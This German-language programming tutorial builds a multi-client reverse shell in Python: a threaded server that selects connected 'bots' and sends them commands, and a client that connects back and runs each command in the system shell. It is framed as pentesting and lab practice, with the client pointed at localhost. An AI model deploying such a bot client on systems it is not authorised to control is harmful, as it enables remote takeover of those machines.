Einführung
In diesem Projekt lernst du, wie du eine Reverse Shell mit Python erstellst. Damit kannst du mehrere kompromittierte Maschinen, auch „Bots“ genannt, fernsteuern. Im Gegensatz zu herkömmlichen Shells initiiert eine Reverse Shell die Verbindung vom Bot zum Controller. Dies ermöglicht die Verwaltung von Remote-Hosts selbst hinter Firewalls oder NAT-Systemen. Diese Methode ist in der Cybersicherheit weit verbreitet, insbesondere für Penetrationstests und die sichere Verwaltung kontrollierter Umgebungen.
Bevor wir mit der Implementierung beginnen, ist es wichtig, die grundlegenden Konzepte hinter unserer Reverse-Shell-Anwendung zu verstehen, einschließlich der Client-Server-Architektur (C/S) und des Transmission Control Protocols (TCP).
Die C/S-Architektur besteht aus einem Client, der Dienste anfordert, und einem Server, der diese Dienste bereitstellt. In unserem Fall fungieren die Bots als Clients, die Verbindungen zu unserem Server aufbauen, sodass wir Befehle remote auf ihnen ausführen können.
Wir verwenden TCP für eine zuverlässige, verbindungsorientierte Kommunikation zwischen dem Server und den Clients. TCP stellt sicher, dass Daten fehlerfrei und in der richtigen Reihenfolge übertragen werden, was für die Ausführung von Befehlen und den Empfang von Antworten unerlässlich ist.
👀 Vorschau

🎯 Aufgaben
In diesem Projekt wirst du Folgendes lernen:
- Die Client-Server-Architektur (C/S) und das Transmission Control Protocol (TCP) als Grundlage für die Netzkommunikation verstehen.
- Einen Server einrichten, der auf eingehende Verbindungen von mehreren Clients (Bots) wartet.
- Client-Skripte erstellen, die sich mit dem Server verbinden und empfangene Befehle ausführen.
- Funktionen zur Befehlsausführung und Ergebnisanzeige auf dem Server implementieren, um mit den verbundenen Clients zu interagieren.
- Mehrere Client-Verbindungen gleichzeitig verwalten und zwischen ihnen wechseln, um Befehle zu erteilen.
🏆 Lernergebnisse
Nach Abschluss dieses Projekts bist du in der Lage:
- Die Grundlagen des Client-Server-Modells und von TCP für eine zuverlässige Netzwerkkommunikation sicher anzuwenden.
- Einen Multi-Client-Reverse-Shell-Server in Python zu implementieren.
- Client-Skripte zu erstellen, die eine Verbindung zu einem Remote-Server herstellen und dort gesendete Befehle ausführen können.
- Mehrere Verbindungen zu handhaben und die Kommunikation mit verschiedenen Clients in einer kontrollierten Umgebung zu steuern.
- Praktische Erfahrungen in der Netzwerkprogrammierung und deren Anwendung in der Cybersicherheit sowie im Remote-Systemmanagement nachzuweisen.
Initialisierung der Server-Klasse
Beginne in der Datei server.py mit der Grundstruktur der Klasse Server.
import socket
import threading
class Server:
def __init__(self, host='0.0.0.0', port=7676):
self.host = host
self.port = port
self.clients = []
self.current_client = None
self.exit_flag = False
self.lock = threading.Lock()
Die Klasse Server ist darauf ausgelegt, einen Server zu erstellen, der mehrere Client-Verbindungen (im Kontext einer Reverse Shell oft als „Bots“ bezeichnet) verarbeiten kann. Hier ist eine Aufschlüsselung der Komponenten und Funktionalitäten, die in der Initialisierungsmethode (__init__) definiert sind:
- Import-Anweisungen:
import socket: Importiert das integrierte Python-Modulsocket, das die notwendigen Funktionen für die Netzwerkkommunikation bereitstellt. Sockets sind die Endpunkte eines bidirektionalen Kommunikationskanals.import threading: Importiert das Modulthreading, das die Erstellung mehrerer Threads innerhalb eines Prozesses ermöglicht. Dies ist entscheidend, um mehrere Client-Verbindungen gleichzeitig zu verarbeiten, ohne den Hauptfluss des Servers zu blockieren.
- Klassendefinition:
class Server:: Definiert die KlasseServer, welche die für den serverseitigen Betrieb einer Reverse Shell erforderlichen Funktionen kapselt.
- Initialisierungsmethode (
__init__):def __init__(self, host='0.0.0.0', port=7676):: Initialisiert eine neue Instanz der Klasse. Sie verwendet zwei Parameter mit Standardwerten:host='0.0.0.0': Die Standardadresse '0.0.0.0' bewirkt, dass der Server auf allen verfügbaren Netzwerkschnittstellen lauscht. Dadurch ist der Server über jede IP-Adresse erreichbar, die der Rechner besitzt.port=7676: Dies ist der Standard-Port, auf dem der Server auf eingehende Verbindungen wartet. Portnummern dienen dazu, verschiedene Dienste auf demselben Rechner zu unterscheiden. Die Wahl von 7676 ist willkürlich und kann angepasst werden.
- Instanzvariablen:
self.host: Speichert die Host-Adresse für eingehende Verbindungen.self.port: Speichert die Portnummer.self.clients = []: Initialisiert eine leere Liste, um verbundene Clients zu verfolgen. Jeder neue Client wird hier hinzugefügt, damit der Server mehrere Verbindungen verwalten kann.self.current_client = None: Diese Variable hält fest, welcher Client aktuell für die Befehlseingabe oder den Datenaustausch ausgewählt ist.self.exit_flag = False: Ein Flag zur Steuerung der Hauptschleife des Servers. Wenn es aufTruegesetzt wird, fährt der Server kontrolliert herunter.self.lock = threading.Lock(): Erstellt ein Lock-Objekt zur Synchronisation. Locks stellen sicher, dass jeweils nur ein Thread auf gemeinsam genutzte Ressourcen zugreifen oder diese ändern kann, um Race Conditions zu vermeiden und die Datenintegrität zu gewährleisten.
Starten des TCP-Servers
Implementiere die Methode run, um den Server zu starten und auf Verbindungen zu warten.
## Fortsetzung in server.py
def run(self):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
server_socket.bind((self.host, self.port))
server_socket.listen(10)
print(f"Server listening on port {self.port}...")
connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,))
connection_thread.start()
while not self.exit_flag:
if self.clients:
self.select_client()
self.handle_client()
Die Methode run ist das Herzstück der Klasse Server. Sie startet den TCP-Server und beginnt mit dem Abhören eingehender Verbindungen. Hier ist der Ablauf im Detail:
- Erstellen eines Sockets:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:: Erstellt einen neuen Socket innerhalb eineswith-Blocks, damit dieser automatisch geschlossen wird.socket.AF_INETsteht für IPv4-Adressierung undsocket.SOCK_STREAMfür einen TCP-Socket.
- Binden des Sockets:
server_socket.bind((self.host, self.port)): Verknüpft den Socket mit der angegebenen Netzwerkschnittstelle und dem Port. Der Server ist nun bereit, an dieser Adresse auf Anfragen zu warten.
- Warten auf Verbindungen (Listening):
server_socket.listen(10): Versetzt den Socket in den Listen-Modus. Das Argument10definiert die maximale Anzahl an wartenden Verbindungen in der Warteschlange (Backlog), bevor neue Anfragen abgelehnt werden.
- Statusmeldung:
print(f"Server listening on port {self.port}..."): Gibt eine Meldung auf der Konsole aus, dass der Server betriebsbereit ist.
- Verarbeitung eingehender Verbindungen:
connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,)): Initialisiert einen neuen Thread, der die Methodeself.wait_for_connectionsausführt. Diese Methode ist dafür zuständig, kontinuierlich neue Verbindungen anzunehmen und sie der Listeself.clientshinzuzufügen.connection_thread.start(): Startet den Thread. Dadurch kann der Server im Hintergrund Verbindungen annehmen, während der Haupt-Thread mit der restlichen Ausführung derrun-Methode fortfährt.
- Hauptschleife des Servers:
while not self.exit_flag:: Diese Schleife läuft, solangeself.exit_flagaufFalsesteht. Hier kann der Operator mit den verbundenen Clients interagieren.if self.clients:: Prüft, ob bereits Clients verbunden sind.self.select_client(): Ermöglicht es dem Operator, einen der verbundenen Clients für die Interaktion auszuwählen.self.handle_client(): Übernimmt die eigentliche Kommunikation mit dem gewählten Client (Befehle senden, Antworten empfangen).
Diese Struktur erlaubt es dem Server, mehrere Verbindungen gleichzeitig und nicht-blockierend zu verwalten.
Eingehende Verbindungen annehmen
Füge die Methode wait_for_connections hinzu, um eingehende Client-Verbindungen in einem separaten Thread zu verwalten.
## Fortsetzung in server.py
def wait_for_connections(self, server_socket):
while not self.exit_flag:
client_socket, client_address = server_socket.accept()
print(f"New connection from {client_address[0]}")
with self.lock:
self.clients.append((client_socket, client_address))
Die Methode wait_for_connections ist dafür zuständig, kontinuierlich auf neue Client-Verbindungen zu warten und diese zu akzeptieren. Da sie in einem eigenen Thread läuft, wird der Server nicht durch den blockierenden accept-Aufruf angehalten. Hier die Details:
- Endlosschleife für Verbindungen:
while not self.exit_flag:: Die Schleife läuft, bis der Server explizit gestoppt wird.
- Verbindungen akzeptieren:
client_socket, client_address = server_socket.accept(): Die Methodeacceptpausiert die Ausführung des Threads, bis ein Client eine Verbindung aufbaut. Sobald dies geschieht, gibt sie ein neues Socket-Objekt für die Kommunikation und ein Tupel mit der IP-Adresse und dem Port des Clients zurück.
- Benachrichtigung:
print(f"New connection from {client_address[0]}"): Gibt die IP-Adresse des neuen Clients auf der Konsole aus, was für das Monitoring hilfreich ist.
- Threadsichere Verwaltung:
with self.lock:: Nutzt das Lock-Objekt, um sicherzustellen, dass nur ein Thread gleichzeitig die Listeself.clientsverändert. Dies verhindert Datenkorruption in einer Multi-Thread-Umgebung.self.clients.append((client_socket, client_address)): Fügt den neuen Client der Liste hinzu, damit er später für Befehle ausgewählt werden kann.
Implementierung der Client-Interaktionsfunktionen
Implementiere Funktionen, um verbundene Clients auszuwählen und mit ihnen zu interagieren.
## Fortsetzung in server.py
def select_client(self):
print("Available clients:")
for index, (_, addr) in enumerate(self.clients):
print(f"[{index}]-> {addr[0]}")
index = int(input("Select a client by index: "))
self.current_client = self.clients[index]
def handle_client(self):
client_socket, client_address = self.current_client
while True:
command = input(f"{client_address[0]}:~## ")
if command == '!ch':
break
if command == '!q':
self.exit_flag = True
print("Exiting server...")
break
client_socket.send(command.encode('utf-8'))
response = client_socket.recv(1024)
print(response.decode('utf-8'))
Diese beiden Funktionen sind entscheidend für die Steuerung der Bots:
Funktion select_client
Diese Funktion listet alle aktuell verbundenen Clients auf und lässt den Operator einen auswählen:
- Listet alle Einträge in
self.clientsmit einem Index auf. - Zeigt die IP-Adresse jedes Clients an.
- Fragt den Operator nach der Indexnummer des gewünschten Clients.
- Speichert den gewählten Client in
self.current_client.
Funktion handle_client
Diese Funktion ermöglicht das Senden von Befehlen an den ausgewählten Client:
- Entpackt Socket und Adresse des aktuellen Clients.
- Startet eine Schleife für die Befehlseingabe.
!ch: Beendet die Interaktion mit diesem Client, um zu einem anderen zu wechseln.!q: Setzt dasexit_flag, um den gesamten Server zu beenden.- Sendet den eingegebenen Befehl (als UTF-8 Bytes) an den Client.
- Empfängt die Antwort (bis zu 1024 Bytes), dekodiert sie und gibt sie auf dem Bildschirm aus.
Ausführen des Servers
Füge den Einstiegspunkt hinzu, um den Server zu instanziieren und zu starten.
## Fortsetzung in server.py
if __name__ == "__main__":
server = Server()
server.run()
Dieser Teil des Skripts startet den Serverprozess, sobald die Datei direkt ausgeführt wird.
Erstellen des Clients
Als Nächstes erstellen wir die Client-Seite (den Bot). Der Client verbindet sich mit dem Server und führt die empfangenen Befehle aus.
Füge in der Datei client.py folgenden Inhalt hinzu:
import socket
import subprocess
import sys
import time
def connect_to_server(host, port):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect((host, port))
while True:
command = sock.recv(1024).decode('utf-8')
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = result.stdout.decode(sys.getfilesystemencoding())
sock.send(output.encode('utf-8'))
time.sleep(1)
if __name__ == "__main__":
HOST, PORT = "127.0.0.1", 7676
connect_to_server(HOST, PORT)
Das Skript client.py beschreibt, wie ein Bot arbeitet:
sock.connect((host, port)): Baut die Verbindung zum Server auf.command = sock.recv(1024).decode('utf-8'): Wartet auf einen Befehl vom Server.subprocess.run(...): Führt den Befehl in der System-Shell aus.stdout=subprocess.PIPEfängt die Standardausgabe ab.output = result.stdout.decode(...): Wandelt das Ergebnis der Ausführung in einen String um, wobei die Kodierung des lokalen Dateisystems berücksichtigt wird.sock.send(...): Sendet das Ergebnis zurück an den Server.time.sleep(1): Kurze Pause, um die Netzwerklast gering zu halten.
Dieses Skript verwandelt den Rechner, auf dem es läuft, in einen Bot, der auf Befehle wartet. Dies ist ein typisches Szenario in Cybersicherheits-Labs, um Angriffe und Verteidigungen zu simulieren.
Testen des Setups
Lass uns nun testen, ob unsere Reverse Shell wie erwartet funktioniert.
Den Server starten
Führe zuerst das Skript server.py in einem Terminal aus:
python server.py
Den Client starten
Öffne ein zweites Terminal-Fenster:

Führe dort das Skript client.py aus:
python client.py
Befehle ausführen
Gehe zurück zum Server-Terminal:

Du solltest nun den verbundenen Client auswählen und Befehle erteilen können. Versuche zum Beispiel, den Inhalt des Wurzelverzeichnisses aufzulisten:
ls /
Du solltest die Ausgabe des Befehls ls /, der auf dem Client-Rechner ausgeführt wurde, im Server-Terminal sehen.

Zusammenfassung
In diesem Projekt hast du gelernt, wie man eine einfache Reverse Shell mit Python implementiert. Dabei hast du die Client-Server-Architektur und TCP für die Kommunikation genutzt. Du hast einen Server aufgesetzt, der auf Verbindungen von Bots wartet und Befehle an diese sendet. Diese Technik ist eine grundlegende Fertigkeit in der Netzwerkprogrammierung und Cybersicherheit und zeigt, wie mächtig und flexibel Python bei der Verwaltung von Remote-Systemen ist.



